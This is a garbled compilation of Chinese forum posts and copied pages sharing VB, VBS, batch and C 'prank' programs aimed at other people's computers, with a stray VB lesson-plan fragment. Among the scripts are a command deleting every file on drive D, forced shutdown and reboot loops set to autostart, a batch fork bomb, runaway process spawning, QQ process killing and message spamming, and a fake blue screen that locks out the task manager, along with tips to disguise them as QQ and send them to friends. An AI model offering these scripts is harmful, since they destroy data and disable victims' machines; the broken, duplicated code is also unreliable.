这个是关闭桌面所有窗口
（直接复制上去就ok）
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Private Type POINTAPI
x As Long
y As Long
End Type
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Lon g
Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, By Val yPoint As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCm dShow As Long) As Long
Dim a(50) As Long
Dim I As Integer
Dim flag As Boolean
Private Sub Command1_Click()
flag = True
MsgBox "都叫你别冲动了.重启吧~"
End
End Sub
Private Sub Form_Load()
I = 0
flag = fase
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Text1 = "小鹏提醒你,别激动.!"
Cancel = True
End Sub
Private Sub Timer1_Timer()
Dim lg As Long
On Error Resume Next
Dim curhWnd As Long 'Current hWnd
Dim lp As POINTAPI
If flag = False Then Exit Sub
I = I + 1
If I < 50 Then
' Initialize point structure:
Call GetCursorPos(lp)
' Which window is the mouse cursor over?
curhWnd = WindowFromPoint(lp.x, lp.y)
a(I) = curhWnd
lg = ShowWindow(a(I), False)
Else
For j = 1 To 50
lg = ShowWindow(a(j), True)
Next j
End If
End Sub
2009-9-26 16:20
回复
ww0034 10位粉丝
2楼--------------------------------------------------
这个是修改开始菜单名字的代码
(直接复制上去就ok)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Private Declare Function FindWindow Lib "user32" Alias "FindWindo wA" (ByVal lpClassName As String, ByVal lpWindowName As String) A s Long
Private Declare Function GetDlgItem Lib "user32" (ByVal hDlg As L ong, ByVal nIDDlgItem As Long) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWin dowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMess
ageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Lo ng, lParam As Any) As Long
Private Const BM_CLICK = &HF5
Private Sub Form_Load()
Dim h1 As Long, h2 As Long
h1 = FindWindow("Shell_TrayWnd", vbNullString)
If h1 <> 0 Then
h2 = GetDlgItem(h1, &H130)
If h2 <> 0 Then
SetWindowText h2, "小鹏" '这里可以修改自己的文字
SendMessage h2, BM_CLICK, 0, ByVal 0&
End If
End If
End Sub
2009-9-26 16:21
回复
ww0034 10位粉丝
3楼这个是翻转屏幕代码
(添加一个Timer)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Option Explicit
Dim W As Long, H As Long
Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Lon g, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Lo ng, ByVal hdc As Long) As Long
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Const SRCCOPY = &HCC0020 ' (DWORD) dest = source
Private Sub Form_Load()
Dim DC As Long
Me.Move 0, 0, Screen.Width, Screen.Height
W = Screen.Width / 15: H = Screen.Height / 15
ShowCursor False
Me.Visible = True
DC = GetDC(0)
StretchBlt Me.hdc, W - 1, H - 1, -W, -H, DC, 0, 0, W, H, SRCCO PY
ReleaseDC 0, DC
End Sub
Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button = 1 Then Unload Me
End Sub
Private Sub Form_Unload(Cancel As Integer)
ShowCursor True
End Sub
Private Sub Timer1_Timer()
StretchBlt Me.hdc, W - 1, H - 1, -W, -H, Me.hdc, 0, 0, W, H, SRCC OPY
Me.Refresh
End Sub
2009-9-26 16:21
回复
4楼这个是关闭QQ的代码
(需要添加一个Command1.一个text1)
这个程序打包的时候,金山毒霸说是病毒
希望懂的帮我看一下
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Option Explicit
ww0034
10位粉丝
Private Declare Function TerminateProcess Lib "kernel32" (ByVal h
Process As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesi
redAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessI
d As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObjec
t As Long) As Long
Private Declare Function CreateToolhelpSnapshot Lib "kernel32" Al
ias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProc
essID As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Proce
ss32First" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32)
As Long
Private Declare Function ProcessNext Lib "kernel32" Alias "Proces
s32Next" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As
Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As L
ong, ByVal nCmdShow As Long) As Long
Private Const SW_HIDE = 0
Private Const SW_RESTORE = 9
Private Const SW_SHOW = 5
Private Const TH32CS_SNAPPROCESS = &H2
Private Const TH32CS_SNAPheaplist = &H1
Private Const TH32CS_SNAPthread = &H4
Private Const TH32CS_SNAPmodule = &H8
Private Const TH32CS_SNAPall = TH32CS_SNAPPROCESS + TH32CS_SNAPhe
aplist + TH32CS_SNAPthread + TH32CS_SNAPmodule
Private Const MAX_PATH As Integer = 260
Private Const PROCESS_TERMINATE = &H1
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * MAX_PATH
End Type
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Int eger)
Text1 = "想关点退出啊.怎么那么笨!"
Cancel = True
End Sub
Private Sub command1_Click()
Dim i As Long
Dim proc As PROCESSENTRY32
Dim snap As Long
Dim exename As String
Dim hand As Long, theloop As Long
snap = CreateToolhelpSnapshot(TH32CS_SNAPall, 0) '：获得进程“快照”的句柄
proc.dwSize = Len(proc)
theloop = ProcessFirst(snap, proc) '：获取第一个进程，并得到其返回值
i = 0
While theloop <> 0 '：当返回值非零时继续获取下一个进程
exename = proc.szExeFile
If Left(LCase(exename), 6) = "qq.exe" Then
hand = OpenProcess(PROCESS_TERMINATE, True, proc.th32ProcessID) '：获取进程句柄
TerminateProcess hand, 0 '：关闭进程
End If
theloop = ProcessNext(snap, proc)
Wend
CloseHandle snap '：关闭进程“快照”句柄
MsgBox "真遗憾,您扣扣掉线了!"
End
End Sub
2009-9-26 16:22
回复
ww0034 10位粉丝
5楼这个是爱不爱我代码,挺好玩的这个
（需要添加两个command）
Option Explicit
Private Sub Command1_GotFocus()
Command2.SetFocus
End Sub
Private Sub Command1_MouseMove(Button As Integer, Shift As Intege r, X As Single, Y As Single)
Randomize Timer
With Me
Command1.Move Rnd * (.ScaleWidth - Command1.Width), Rnd * (.Sc aleHeight - Command1.Height)
End With
End Sub
Private Sub Command2_Click()
MsgBox "我也爱你！"
End
End Sub
Private Sub Form_Load()
Me.AutoRedraw = True
Me.FontSize = 30
Me.Print "你爱不爱我？"
Command1.Caption = "不爱"
Command2.Caption = "爱"
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub
2009-9-26 16:22
回复
ww0034 10位粉丝
6楼应用软件
--------------------------------------------------
繁体简体转换
(需要添加4个Cammand.1个text)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Private Declare Function LCMapString Lib "kernel32" Alias "LCMapS tringA" (ByVal Locale As Long, ByVal dwMapFlags As Long, ByVal lp SrcStr As String, ByVal cchSrc As Long, ByVal lpDestStr As Strin g, ByVal cchDest As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
'简转繁
Public Function JToF(ByVal Str As String) As String
Dim STlen As Long
Dim STf As String
STlen = lstrlen(Str)
STf = Space(STlen)
LCMapString &H804, &H4000000, Str, STlen, STf, STlen
JToF = STf
End Function
Public Function FToJ(ByVal Str As String) As String
Dim STlen As Long
Dim STj As String
STlen = lstrlen(Str)
STj = Space(STlen)
LCMapString &H804, &H2000000, Str, STlen, STj, STlen
FToJ = STj
End Function
Private Sub Command1_Click()
Text1.Text = JToF(Text1.Text)
End Sub
Private Sub Command2_Click()
Text1.Text = FToJ(Text1.Text)
End Sub
Private Sub Command3_Click()
Text1.Text = ""
End Sub
Private Sub Command4_Click()
End
End Sub
--------------------------------------------------
打开我的电脑等
(需要添加5个Command)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Private Declare Function ShellExecute Lib "shell32.dll" Alias "Sh ellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, By Val lpFile As String, ByVal lpParameters As String, ByVal lpDirec tory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1
Private Sub Command1_Click(Index As Integer)
Select Case Index
'我的文档
ShellExecute Me.hwnd, "open", "explorer", vbNullString, vbNull String, 1
Case 1
'我的电脑
ShellExecute Me.hwnd, "open", "explorer", "::{20D04FE0-3AEA-10 69-A2D8-08002B30309D}", vbnulstring, 1
Case 2
'网上邻居
ShellExecute Me.hwnd, "open", "explorer", "::{208d2c60-3aea-10 69-a2d7-08002b30309d}", vbNullString, 1
Case 3
'回收站
ShellExecute Me.hwnd, "open", "explorer", "::{645ff040-5081-10 1b-9f08-00aa002f954e}", vbNullString, 1
Case 4
'控制面板
ShellExecute Me.hwnd, "open", "explorer", "::{21ec2020-3aea-10 69-a2dd-08002b30309d}", vbNullString, 1
End Select
End Sub
C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序，可以设置多长时间后将自动关机。当然马上关机也是可以的，我们就可以恶搞别人计算机了（你事先得知道怎么解），将写好的自动关机程序复制到别人电脑，然后将可执行的 文件设为开机自动启动，别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序（这是很容易的），后果你一定能想到了吧~还可以改进一下，就是每次开机的时候让用户输入“我是猪”，不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩，比如“我爱你”、“我爱×××”之类，你觉得会有严重后果的就不要玩哦、 好啦，就说到这里，下面送上这两个程序的源代码。一个是自动关机程序，很简单，另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1： #include
{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了，自己人不整自己人~ 源程序2： #include
vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
不需要任何编程基础，不需要任何编程软件，只需使用电脑里自带的记事本软件就可以轻松编写出整人的小程序，甚至是病毒。。。。。。 首先，单击右键，新建一个文本文档，输入：msgbox"你是猪！" 然后，点击文件->另存为->保存类型：所有文件->文件名xxxx.vbs，名字随便起，但一定要记得把后缀名改为 .vbs。
然后打开刚保存的xxxx.vbs
哈哈，很好玩吧，双引号里的内容”你是猪！”可以随意更改，但双引号一定要用英文输入法来写。嗯，下面正式开始整人。。。。。。 按照前面说的，在记事本上输入如下图，并保存为55.vbs。
其中wscript.Sleep 500为停留500毫秒，可随便更改 下面这段代码就是一个启动关机程序的东东，300这个数是指300秒倒计时，这个数字也可以随便改，这段代码也可以独立保存出来作为一个关机程序 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.Run "cmd.exe /c shutdown -s -t 300" 打开这个文件，如果你点击“是”，你就会进入一个死循环中，就是不断地弹出对话框。解决方法是按下Alt+Ctrl+Delete键，选择“进程”，把wscript.exe结束掉。如果点击“否”，
则进入关机倒计时，解决方法是点击“开始”->“运行”,在对话框里输入shutdown -a ,再点击“确定”即可。 最后嘛，把这文件创建桌面快捷方式，然后把图标换了，换成QQ什么的，你懂的，呵呵。。。。。。当然，这种VBS编程还有很多好玩的地方，比如病毒，我也收藏有几个，由于我是一等一的良好市民，就不写上来了。 最后再送上一个程序： dim a do a=inputbox("输入123，否则关机。") if a="123" then msgbox" 很遗憾，你中招了，这是整人程序，你就等着关机吧" WSHshell.Run "cmd.exe /c shutdown -s -t 300" wscript.sleep 1000 exit do else msgbox"乖点，输入123" end if loop
第一个:让别人内存OVER(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。第二个:让对方重启指定次数(害人专用) @off if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c: echo. >c: & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = ("") " /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说""我是猪""","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = ("") " /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~" 复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机， 结束任务都不行，他只能说他是猪才能解决问题。够坏吧注意哦，你可以把我是猪那个修
教学进度表
一、了解计算机语言 各种软件，包括Windows、Word、PowerPoint、各种游戏等都是计算机语言编写出来的。（演示）如贪吃蛇游戏、健康指标计算器等等。 常见的高级语言 1.BASIC。入门者首选语言。指令少，容易上手，易于掌握。 2.PASCAL。适合科学计算、数据处理，运行编译速度快。 3.C语言。主要适用于应用软件的开发，计算机专业人员的必修课。 4.JAVA、.Net、PHP、C#、HTML…… 二、VB语言介绍 VB是Visual Basic的简称，它对学习者的要求不高，但本身效率高、功能强大、实用性强。主要有如下特点：面向对象、事件驱动、软件的集成式开发、结构化。 面向对象和面向过程的区别： 例如五子棋，面向过程的设计思路就是首先分析问题的步骤： 1、开始游戏， 2、黑子先走，
四、制作QQ登录界面 【学生练习】 完成QQ登录界面的制作，并保存工程提交。 教学 后记 授课时间2014年9月23日第4周星期2 总第2课时课题VB程序设计的过程 课型新授课教学时数1课时 教学（一）知识与技能：
目标了解计算机语言； 熟悉VB开发环境 了解VB中的对象、属性、事件 学会编写窗体的设计代码，并能运行程序 （二）过程与方法： 通过QQ登陆窗体的制作了解并掌握程序编写的整个过程 （三）情感、态度与价值观： 通过制作学生最熟悉的QQ登录界面，使学生对VB程序设计产生浓厚的兴趣。 教材分析 重点属性、方法和事件 难点VB的集成开发环境 教学方法讲授法、演示法、练习法、任务驱动法 教学情景设计 【新课引入】 【新课讲授】 对象名称属性、方法或事件(属性、方法或事件)作用说明 登陆窗体Form1 Height属性、Width属 性窗体的高度和宽度
当前位置：首页>VB 小程序> 让整个屏幕雪花飘飘（改进） 58. VB整人小程序：让整个屏幕雪花飘飘（改进） 这是我以前写的小程序让整个屏幕雪花飘飘的改进，本程序是一个模拟下雪的小程序：大小不同随风飘荡的雪花从屏幕上方不断落下，飘满整个屏幕。雪花可在任何窗口上飘荡，包括任务栏、开始菜单、弹出菜单等地方。 本程序与原程序的主要改进之处是：落下的雪花不会消失，会在屏幕底部不断堆积，双击屏幕底部的积雪可使积雪消失。 本程序编译成 exe 文件运行后，只能通过系统“任务管理器”才能终止运行。程序运行效果截图如下: '' '本程序包含两个窗体，Form1 和 Form2，其中 Form1 是启动窗体。代码在在 VB6 调试通过： ''下面是 Form1 窗体代码：===================================== '' 注意：在属性窗口将窗体的 BorderStyle 属性设置为 0，即窗体是无边框窗体 '' 在窗体上放置一个控件：Timer1，不必设置任何属性 ''本人原创，转载请注明文章来源：https://www.doczj.com/doc/ad13656052.html,/100bd/blog/item/fbb5bdd5f0564910a08bb740.html Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Dim ctSnow() As tySnow, ctSnowS As Long, ctSeChange As Long Private Type tySnow '定义表示雪花的数据类型 X As Single: xV As Single 'x 坐标、水平移动速度
竭诚为您提供优质文档/双击可除 愚人节整人网页代码 篇一：整人“病毒”代码(一) 发表于20XX-10-2310:33 前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。 ps：由于精力问题没有对代码的可用性进行一一验证，所以不保证全部可用，大家如果发现有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。 一、怎么点都没反应的桌面 如果同事的电脑开着，他离开电脑前一会，嘿嘿，机会来了。 把他的电脑桌面按print键截屏截下来，（当然QQ截屏也可以，不过效果不太逼真！）建议大家用print截屏，设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。他回来后狂点鼠标，却怎么都没有反应！现在还在关机,开机,关机,开机,关机,开
机中???? 附带：print键截屏方法： 键盘右上方的“printscreensysRq”键的作用是屏幕抓图！ 用法一，按“printscreensysRq”一下，对当前屏幕进行抓图，就是整个显示屏的内容。 用法二，先按住“Alt”键，再按“printscreensysRq”键，则是对当前窗口进行抓图。如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、“粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！ 二、让电脑硬盘消失－隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了，钻进地缝里面去了吗，给外星人抓走了？？非也！是某些人使坏将其隐藏起来了！ 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中：
C 语言整人代码大全WScript.Echo("嘿，谢谢你打开我哦，我等你很久 拉！"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉，这你都不知道吗？") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来，说~是不是不关心我") WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。") WScript.Echo("小强很生气，后果很严重哦。") WScript.Echo("嘿嘿！你也会很惨滴哦") WScript.Echo("是不是想清除我？") WScript.Echo("那你要点上50下哦，不过会给你惊喜滴") WScript.Echo("还剩49下，快点点哦") WScript.Echo("还剩48下，快点，小笨蛋！") WScript.Echo("还剩47下对，就这样快点点！") WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰 你工作。") WScript.Echo("还剩45下，记得要快哦！") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")
WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停！！！慢点，我有话要说") WScript.Echo("还剩12下，你继续点我就会消失滴") WScript.Echo("还剩11下，以后就看不到我拉。555555") WScript.Echo("还剩10下，你现在可以选择停止！") WScript.Echo("还剩9下。你还点啊，不要我拉？") WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家") WScript.Echo("还剩7下。疯了，你有点负意！") WScript.Echo("还剩6下。对。你就点吧，我恨你！") WScript.Echo("还剩5下，不明白，删除我你就好吗？") WScript.Echo("还剩4下！真要删除我？") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你 的！") WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无 义！！！") WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")
电脑整人、表白+提醒两段代码足够了！ 2016-10-25 15:43技巧0条评论标签： 13 自从《谁来都不好使小编教你U盘只读不写！》惨案发生之后，小编的办公电脑的开机密码、存储文件夹被彻底公开化，任谁都可以在小编的电脑上做他们想做的事情（你们这来来回回走城门呢？），欲哭无泪、欲死无刀啊！ 但作为稍稍懂点编程的技术流职业编辑，怎么能让坏银们好过呢？谁敢偷摸的开电脑，就用代码吓唬死他们！ 先来第一段弹窗代码： msgbox"内容A"+chr(13)+"内容B"+chr(13)+"内容C",1,"标题" 将它们复制到文本中，将后缀改成“.vbs”就可以双击执行了。
其中“msgbox”代表Windows系统的弹窗警告，内容A、内容B、内容C 是大家想在弹窗上显示的文字，而“标题”就是弹窗左上角类似系统警告一类 的内容。另外，在“标题”前面的数字“1”代表调用系统按钮的样式，也可以换成2、3、4，共4种按钮样式供大家选择，写好内容的代码应该就是msgbox"电脑即将自爆"+chr(13)+"请在15秒内离开座位"+chr(13)+"否则你死定了！",1,"系统自爆提醒" 下面的图片展示的就是2~4的按钮样式，大家喜欢哪个就在上面填写哪个好了！
只有弹窗，视觉效果是有了，但缺乏震撼力！要声色齐全才能唬到人。 所以还要来点语音说教。 再新建个文本文档，将以下代码复制进去 CreateObject("SAPI.SpVoice").Speak"内容" 把你想让电脑说出来的话输入在“内容”部分，同样保存为“.vbs”后缀即可。电脑就可以直接读出你输入的内容。
整人电脑代码 Document number【AA80KGB-AA98YT-AAT8CB-2A6UT-A18GG】
第一个:让别人内存O V E R(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop
整人VB小程序：蓝屏死机 本程序启动后，延时指定的时间（默认10秒）后出现蓝屏，模拟蓝屏死机情形。此时，用户无法使用开始菜单、任务管理器，无法操作任何程序，只能干着急。 1 秒钟后，在蓝屏的背景上显示：Your Windows is died 5 秒钟后，显示：Windows 警告内存出现严重错误 10 秒钟后，显示并计数：警告硬盘错误，无法正常运行Windows，Windows 正在试图修复所有错误，请等待100 秒…… 25 秒钟后，显示：警告由于你使用了盗版操作系统微软惩罚你：定期死机 此后，这4 条信息交替显示 结束本程序的方式有两个： 1.用鼠标单击屏幕左上角，连续 5 次（左上角20 个像素范围的区域，大约1 平方厘米的大小） 2.到程序设定的时间后自动结束，默认120 秒。 下面是程序运行截图：
'''以下是窗体代码，在VB6.0 上调试通过： ' 一、在窗体添加一个定时器控件：Timer1，不必设置任何属性，采用默认属性即可 ' 二、在属性窗口将窗体的BorderStyle 属性设置为0 Dim ctCi As Long, ctT As Long, ctExitT As Long, ctStr() As String, ctStrS As Long, ctExit As Boolean Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Dim ctShowT As Long Private Sub Form_Load() ctShowT = 10 '**** 运行程序后，延时显示蓝屏的时间（秒），可根据自己的喜好设定 ctExitT = 120 '**** 程序自动退出的时间（秒），可根据自己的喜好设定 Me.Hide
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit ---------------------------------------------------------------------------- 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do
使用方法：新建一个txt文本文档。然后把拓展名改成“.vbs”的格式。然后右键编辑，把代码复制进去，ok！！！ 1.整死你啊！！！ 此代码锁定了任务管理器，想关闭只有重新启动电脑，恶搞你的好友，或者骚扰你Private Sub Form_Load() Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1 For m = 1 To 999 MsgBox "呵呵，你知道我是谁吗？", 16 MsgBox "什么？？不知道？", 16 MsgBox "那你打开我干什么？", 16 MsgBox "你有空没事做吧？！", 16 MsgBox "我..就是鼎鼎大名的987876198", 16 MsgBox "987876198..", 16 MsgBox "现在你把它打开了觉得后悔了吧？呵呵..", 16 MsgBox "算了算了，不玩你了", 16 MsgBox "现在我数3声就闪人,行了吧?", 16 MsgBox "1.............", 16 MsgBox "2.............", 16 MsgBox "3.............", 16 MsgBox "噔噔噔噔,我又回来了！", 16 MsgBox "哈哈，是不是很过瘾呢？", 16 MsgBox "现在我先介绍下自己..", 16 MsgBox "我叫王得地..", 16 MsgBox "性别：男..", 16 MsgBox "今年35岁..", 16 MsgBox "不好意思噢，我好像说多了..", 16 MsgBox "不要这样喇，听我说完先好不？", 16 MsgBox "来来来，开始喇..", 16 MsgBox "我叫王得地..", 16 MsgBox "家中有屋又有田..", 16 MsgBox "生活乐无边..", 16 MsgBox "好像我又说多了...", 16 MsgBox 